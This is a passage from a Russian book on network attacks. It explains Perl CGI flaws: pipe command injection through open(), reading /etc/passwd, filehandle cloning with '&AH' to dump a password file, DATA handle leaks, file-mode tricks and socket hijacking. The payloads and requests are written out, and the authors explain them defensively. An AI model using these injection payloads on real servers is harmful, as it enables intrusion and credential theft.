«Техника сетевых атак»

Вид материалаКраткое содержание

Содержание


OPEN's Demo
Врезка «информация»
Врезка «замечание»
Врезка «информация»
Врезка «замечание»
Подобный материал:
1   ...   36   37   38   39   40   41   42   43   ...   51

OPEN's Demo














  • Если в качестве имени файла указать “echo Hello,Sailor! |”, спустя мгновение приветствие «Hello, Sailor» отобразится в окне браузера, подтверждая своим появлением успешность выполнения команды “echo”.

    А для просмотра содержимого корневого каталога достаточно ввести команду “ls * |”, результат работы которой может выглядеть, например, так:

    • apache
    • bin
    • boot
    • cdrom
    • dev
    • disk1
    • etc
    • floppy
    • home
    • " onclick="return false">
    • usr


    Узнать, какие файлы и подкаталоги находятся в директории “/bin” (в тексте ее имя выделено жирным шрифтом), можно с помощью следующей команды: “ls /bin/* |”, результат работы которой показан ниже:

    • ae arch bash buildh cat
    • chgrp chmod chown chsh cp
    • cpio cptar cptar~ csh date
    • dbish dd df dir dmesg
    • echo ed egrep false fdflush
    • fgrep fuser grep gsu gunzip
    • gzip hostname htp2ftp.pl htp2ftp.pl~ " onclick="return false">
    • i8sql kill ksh ln loadkeys
    • login ls mkdir mknod mktemp
    • more mount mt mv netstat
    • pico ping ps pwd rbash
    • rm rmdir rsh run-parts sed
    • setserial sh sleep stty su
    • sync tar tcsh tempfile texhash
    • true umount uname uncompress vdir
    • vi vworld xem xem~ zcat


    Любой их этих файлов может быть запущен аналогичным способом. Так, например, утилита “more” (ее имя выделено жирным шрифтом) позволяет просмотреть содержимое файла “/etc/passwd”, или любого другого файла указанного в командной строке. Это может выглядеть так:

    • GET open.pl?more%20/etc/passwd%20|
    • :::::::::::::: /etc/passwd ::::::::::::::
    • root:x:0:0:root:/root:/bin/bash
    • daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    • bin:x:2:2:bin:/bin:/bin/sh
    • sys:x:3:3:sys:/dev:/bin/sh
    • sync:x:4:100:sync:/bin:/bin/sync
    • games:x:5:100:games:/usr/games:/bin/sh
    • man:x:6:100:man:/var/catman:/bin/sh
    • lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    • mail:x:8:8:mail:/var/spool/mail:/bin/sh
    • news:x:9:9:news:/var/spool/news:/bin/sh
    • uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    • proxy:x:13:13:proxy:/bin:/bin/sh
    • ...



    Врезка «информация» *


    В конце 1997 года ошибка фильтрации ввода (а точнее, ее полное отсутствие) была обнаружена в… знаменитой поисковой машине “Excite”. Таким образом, потенциально уязвимым можно считать любой сервер в сети, пока не будет доказано обратное.


    Другая распространенная ошибка связана с оператором чтения из файла “<>” языка Perl, в угловых скобках которого заключается файловый манипулятор297 (в листинге он выделен жирным шрифтом).

    Например:

    • open(F,"$file");
    • while (<F>)
    • {
    • print;
    • }


    Но что произойдет, если вместо манипулятора задать маску файла? В документации к Perl сказано, такая конструкция выведет содержимое указанной директории согласно маске (в листинге она выделена жирным шрифтом). Такую ситуацию позволяет продемонстрировать фрагмент кода, приведенный ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/dir.pl”):

    • while (<*.pl>)
    • {
    • print;
    • print "\n";
    • }



    • bomb.pl
    • dir.pl
    • hack.pl
    • hello.pl
    • iis4_ml.pl
    • nntp.pl
    • nntp_post.pl
    • open.pl
    • post.pl
    • serv.pl
    • serv1.pl
    • sioux.pl
    • smtp.pl
    • smtp1.pl


    Если найти в тексте программы место, в котором манипулятор передается аргументом командной строки или извлекается из переменной окружения, подменив его шаблоном файла, можно получить содержимое любого из каталогов сервера.

    Любопытной особенностью Perl является возможность хранения данных непосредственно в тексте программы. Для этой цели используется лексема “__DATA__”. Содержащейся за ней текст может быть прочитан через файловый манипулятор “DATA”. Такой прием часто используется программистами для хранения конфигурационных настроек, служебных данных, а иногда и паролей.

    Если есть возможность модификации одного из манипуляторов атакуемой программы, изменив его значение на “DATA”, можно получить содержимое скрытых данных.

    Пример, приведенный ниже(на диске, прилагаемом к книге, он расположен в файле “/SRC/data.pl”), демонстрирует использование манипулятора “DATA” для доступа к приватным данным.

    • while (<DATA>)
    • {
    • print;
    • }

    • __DATA__
    • file : "mit";
    • dir : "../cfg/gbook";
    • user : "Jafar";
    • pass : "qwerty";



    • file : "mit";
    • dir : "../cfg/gbook";
    • user : "Jafar";
    • pass : "qwerty";


    Любопытно, но практически ни один из существующих скриптов не осуществляет фильтрации строки “DATA”, даже если активно использует эту лексему в своих целях. Действительно, перенос секретных данных, таких, например, как имена пользователей и пароли, в тело программы, значительно снижает риск попадания этой информации в руки злоумышленника, поскольку при нормальном развитии событий клиенту возвращается результат работы скрипта, а не его содержимое.


    Переменная “$0” в Perl содержит полный путь и имя к исполняемой программе. Если существует возможность подсунуть ее скрипту под видом имени файла, то (в зависимости от режима открытия фала) можно не только читать, но и модифицировать(!) программный код.

    Ниже приведен простейший пример самомодифицирующейся программы298. Файлу должны быть установлены следующие права “r w x - - x - - x”, то есть другими словами, отсутствие у пользователя прав записи, не помещает ему изменить программу ее же собственными руками!

    • $file=">>$0";
    • open(H,"$file");
    • print H "\nprint 'Hello,Sailor!';";
    • close(H);


    После первого запуска, код скрипта будет выглядеть следующим образом (жирным цветом выделена строка, добавленная самой программой):

    • $file=">>$0";
    • open(H,"$file");
    • print H "\nprint 'Hello,Sailor!';";
    • close(H);
    • print 'Hello,Sailor!';


    При всех последующих запусках, сервер будет выводить приветствия на экран, увеличивающиеся в количестве с каждой итерацией.

    Отсутствие фильтрации переменной “$0” и имен файлов может привести к перезаписи программного кода или HTML документа, расположенного на сервере.

    Другая распространенная ошибка заключается в задании режима открытия файла по умолчанию. Используя тот факт, что функция “open”, интерпретирует первые символы имени файла, как режим доступа, появляется возможность открыть файл на запись! Для этого достаточно указать угловую скобку “>” перед именем файла.

    Например, скрипт, приведенный ниже, на первый взгляд предназначается для чтения файлов:

    • open(F,”$file”);
    • while ()
    • {
    • print;
    • }


    На самом же деле, конструкция типа “>filename” способна уничтожить содержимое файла “filename”, что никак не входит в планы разработчика скрипта. Поэтому, рекомендуется явно задавать режим открытия, закрывая лазейку злоумышленнику. Правильное открытие файла для последующего чтения из него должно выглядеть приблизительно так: “open(F,”<$file”)”. Но отсюда вовсе не следует, что конструкция “open(F, “>$file”)”, открывающая файл для записи, то же окажется правильной! Если переменной “$filename” присвоить значение “> file”, в результате получится “open(F, “>> file”)” и файл окажется открыт для дозаписи, что в корне меняет дело. В некоторых случаях такой трюк позволяет обойти лимиты на ограничение объема и забить мусором все доступное дисковое пространство или закачать на сервер файл свыше допустимого размера.

    Еще одна распространенная ошибка связана с особенностью обработки символа “-“. Будучи переданным в качестве имени файла, он трактуется как “STDIN” (стандартный ввод) при чтении и “STDOUT” (стандартный вывод) при записи.


    При использовании стандартных скриптов рекомендуется изменять имена всех файлов, особенно содержащих секретную информацию. В совокупности с правильной фильтрацией ввода, отсекающей все попытки просмотра содержимого директории, это в значительной степени снижает вероятность успешной атаки.

    Но злоумышленнику вовсе не обязательно знать имя файла. Достаточно воспользоваться… клонированием файловых манипуляторов! Такой прием продемонстрирован в примере, приведенном ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/cpyfh.pl”):

    • #....
    • open(AH,"


    • #....
    • $file=$ARGV[0];
    • if ($file =~ /passwd/) { die "Goodby, Hacker!\n";}
    • open(BH,"<$file");
    • while (<BH>)
    • {
    • print;
    • }


    Если владельцем299 (не разработчиком!) некой программы имя секретного файла (например, “passwd”) изменено до неузнаваемости, то вне зависимости от распространенности скрипта, злоумышленник, прежде чем сможет получить доступ к секретному файлу будет вынужден узнать его имя. Если нет возможности просмотреть исходный текст модифицированного скрипта, то для успешной атаки злоумышленнику потребуется не только получить доступ к хранящимся на сервере файлам, но и последовательно перебрать всех их один за другим, пока не встретится искомый.

    Поэтому, при использовании общедоступных скриптов настоятельно рекомендуется изменять имена всех файлов, представляющих интерес для злоумышленника. Но в некоторых случаях такой прием оказывается бессилен предотвратить атаку, если разработчик допустит ошибку, в результате которой станет возможно клонирование файлового манипулятора, связанного с секретным файлом.

    Например, в приведенном выше примере, секретный файл открывается в одной ветке программы, а где-то совершенно в другом месте присутствует код, выводящий на экран содержимое файла, указанного пользователем. Для предотвращения атаки выполняется проверка введенной пользователем строки на соответствие с именем секретного файла, и если злоумышленник решит действовать «в лоб», ничего не получится:

    • GET /cgi-bin/cpyfh.pl?passwd
    • Goodby, Hacker!


    Однако если вместо имени файла ввести конструкцию “&AH”, на экране появится содержимое секретного файла, что и продемонстрировано в примере, приведенном ниже:

    • GET /cgi-bin/cpyfh.pl?&AH
    • Vasia:qwerty
    • Petja:admin
    • Super:toyta
    • Dimon:daemon


    Вызов наподобие “open(F1,”x&F2”)300, приводит к клонированию файлового манипулятора F2 в F1. Если переменной “$file” присвоить значение “&AH”, то вызов “open (BH, “<$file”)” копирует файловый манипулятор AH в BH, а конструкция “while ” становится равносильна “while ” и читает содержимое секретного файла, имя которого злоумышленнику знать совершенно необязательно.

    Врезка «замечание»


    Иногда выгоднее использовать псевдонимы (alias), создаваемые с помощью конструкции ‘x&=’. При этом оригинальный файловый манипулятор на момент создания псевдонима может и не существовать.

    Если в приведенной программе переставить строки, что бы она выглядела вот так, - попытка клонирования ни к чему не приведет, но псевдонимы будут по-прежнему работать.


    $file=$ARGV[0];

    if ($file =~ /passwd/) { die "Goodby, Hacker!\n";}

    #…

    open(BH,"<$file");

    #....

    open(AH,"


    #…

    while ()

    {

    print;

    }


    Поскольку сокеты с точки зрения подсистемы ввода-вывода – обычные файлы, корректно работающие с операторами ‘print’ и ‘<>’, возможна подмена файлового манипулятора открытым сокетом и, соответственно, наоборот.

    Если скрипт устанавливает соединение с некоторым сервером (совершенно неважно, с каким именно, и по какому протоколу) и позволяет пользователю вместо имени файла задать манипулятор301, у злоумышленника появляется возможность взаимодействия с этим сервером!

    Пример, приведенный ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/exchsc.pl”), демонстрирует ошибку, приводящую к перехвату трафика:

    • socket(POP3, PF_INET(), SOCK_STREAM(), getprotobyname("tcp"));
    • connect(POP3, sockaddr_in(110,inet_aton('zmail.ru')))
    • $file=$ARGV[0];
    • $x=<$file>;
    • print $x;
    • close(POP3);



    • GET /cgi-bin/exchsc.pl?POP3
    • +OK CommuniGate Pro POP3 Server 3.2.4 ready <1731731.956833213@backend1.aha.ru>


    Приложения, имеющие такую уязвимость, способны выполнять запросы злоумышленника от имени сервера, на котором они расположены. Это может использоваться, например, для массовой почтовой рассылки.

    Конечно, атакующий будет очень ограничен в своих возможностях. Стесненный уже существующим соединением с конкретным сервером по заданному протоколу он, скорее всего, не сможет причинить значительного ущерба. Наибольшая опасность заключается в том, что постороннее лицо способно получить доступ к секретным каналам связи, доступ к которым при нормальном ходе вещей был бы невозможен. Особенно это актуально для систем электронной коммерции, – если злоумышленнику удастся перехватить соединение с клиентом, он сможет «подсмотреть» номер кредитной карточки вместе с другими конфиденциальными данными, передаваемыми клиентом на сервер и даже исказить их!

    Конечно, крупные on-line магазины, как правило, не содержат грубых ошибок. Но в сети огромное количество мелких поставщиков различного рода услуг, зачастую снабженных программным обеспечением, созданным «на коленках» Дядей Васей! Ошибки, описанные выше, очень характерны для кустарных разработок.

    Врезка «информация»


    Огромную опасность представляют недокументированные (или плохо документированные и малоизвестные) особенности интерпретаторов. И Perl в этом смысле не является исключением.

    С его реализацией на платформе PC связан один громкий скандал. Фирма “Netscape” по некоторым причинам не поддержала в своем сервере ассоциации файловых расширений с исполняемыми приложениями. Вместо этого она предложила «волшебное» решение: вручную указывать требуемое приложение в самом URL. Так, например, вызвать “hello.pl” приходилось так: " onclick="return false">.

    С первого взгляда ничем, кроме недовольного ворчания WEB-мастеров, это не чревато. Но уже беглое изучение документации по PC-версии Perl доказывает обратное. Особенность обработки командой строки приводит к тому, что на сервере может быть исполнена любая команда от имени интерпретатора. Достаточно воспользоваться конвейером, то есть конструкцией вида “| команда”.

    Например, если набрать в командой строке “perl xxx|dir”, где ‘xxx’ имя любого, даже не обязательно существующего, скрипта, произойдет следующее: сперва, интерпретатором будет предпринята попытка запустить файл ‘xxx’, затем, независимо от успешности предыдущей операции, будет выполнена команда ‘dir’.

    Врезка «замечание»


    Выполнить любую команду Perl, например, ‘exec’ можно с помощью ключа командной строки, ‘-e’, о чем сообщается даже в короткой справке, выдаваемой при указании ключа ‘-h’ в командной строке.


    Ниже приведен пример (на диске, прилагаемом к книге, он находится в файлах “/SRC/form.php” и “/SRC/form.pl”) импровизированного виртуального магазина, занимающегося продажей товара через Internet c оплатой по кредитным карточкам. Перед первой покупкой посетителю (как это заведено в большинстве систем электронной торговли) необходимо зарегистрироваться – ввести свое имя и номер кредитной карты. Здесь не будет обсуждаться вопрос контроля достоверности представленной информации (это тема для отдельного разговора). Скрипт просто запоминает введенные сведения, и сверят всякий раз при загрузке.



    • VIRTUAL SHOP's "Hamburg"